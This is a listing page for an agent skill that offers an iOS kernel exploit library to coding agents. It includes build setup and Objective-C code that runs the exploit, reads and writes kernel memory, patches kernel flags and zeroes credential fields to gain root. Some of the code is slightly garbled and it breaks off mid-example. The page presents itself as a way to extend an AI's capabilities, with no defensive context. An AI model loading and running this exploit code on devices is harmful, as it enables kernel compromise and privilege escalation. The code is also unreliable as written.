Agent skill · security · aradotso
darksword-kexploit
darksword-kexploit — an agent skill for coding agents.
Why this skill is useful
Adds executable kernel exploit scripts and privilege escalation methods that fundamentally extend the AI's capabilities in iOS security research.
What it needs
Requires theos installed locally. About 5k tokens when loaded. Last updated 2026-07-09. 70 stars on the source repository.
What this skill does
bash git clone https://github.com/opa334/darksword-kexploit.git objc #import "DarkSword.h" makefile ARCHS = arm64 arm64e TARGET = iphone:clang:latest:15.0 include $(THEOS)/makefiles/common.mk TOOLNAME = myexploit myexploitFILES = main.m DarkSword.m exploithelpers.m myexploitCFLAGS = -fobjc-arc myexploitLDFLAGS = -lSystem include $(THEOSMAKEPATH)/tool.mk objc #import "DarkSword.h" int main(int argc, char argv[]) { @autoreleasepool { DarkSword exploit = [[DarkSword alloc] init]; BOOL success = [exploit run]; if (!success) { NSLog(@"[!] Exploit failed."); return 1; } NSLog(@"[+] Exploit succeeded. Kernel task port: %d", exploit.kernelTaskPort); } return 0; } objc #import "DarkSword.h" // Read 8 bytes (uint64t) from a kernel address uint64t ReadKernel64(DarkSword exploit, uint64t address) { uint64t value = 0; [exploit kread:address into:&value size:sizeof(uint64t)]; return value; } // Example: read kernel slide from a known pointer uint64t kernelBase = ReadKernel64(exploit, KNOWNKERNELPOINTEROFFSET); NSLog(@"[+] Kernel base: 0x%llx", kernelBase); objc #import "DarkSword.h" // Write 8 bytes to a kernel address void WriteKernel64(DarkSword exploit, uint64t address, uint64t value) { [exploit kwrite:address from:&value size:sizeof(uint64t)]; } // Example: patch a kernel flag uint64t targetAddr = kernelBase + SOMEOFFSET; WriteKernel64(exploit, targetAddr, 0x1); NSLog(@"[+] Kernel flag patched at 0x%llx", targetAddr); objc #import "DarkSword.h" #import <unistd.h> void escalatePrivileges(DarkSword exploit) { // Get current task's proc pointer from kernel uint64t currentProc = [exploit currentProc]; // Overwrite uid/gid fields to 0 (root) uint64t ucredOffset = [exploit ucredOffsetForProc:currentProc]; uint64t ucred = ReadKernel64(exploit, currentProc + ucredOffset); // Zero out cruid, crgid, crruid, crrgid for (int i = 0; i < 4; i++) { WriteKernel64(exploit, ucred + (i 4), 0x0); } NSLog(@"[+] UID after escalation: %d", getuid()); // Should print 0 } objc #import "DarkSword.h" / …
How to use it
Reference it in AdaL, Claude Code, Cursor or any coding agent — nothing to install:
@skills aradotso/darksword-kexploit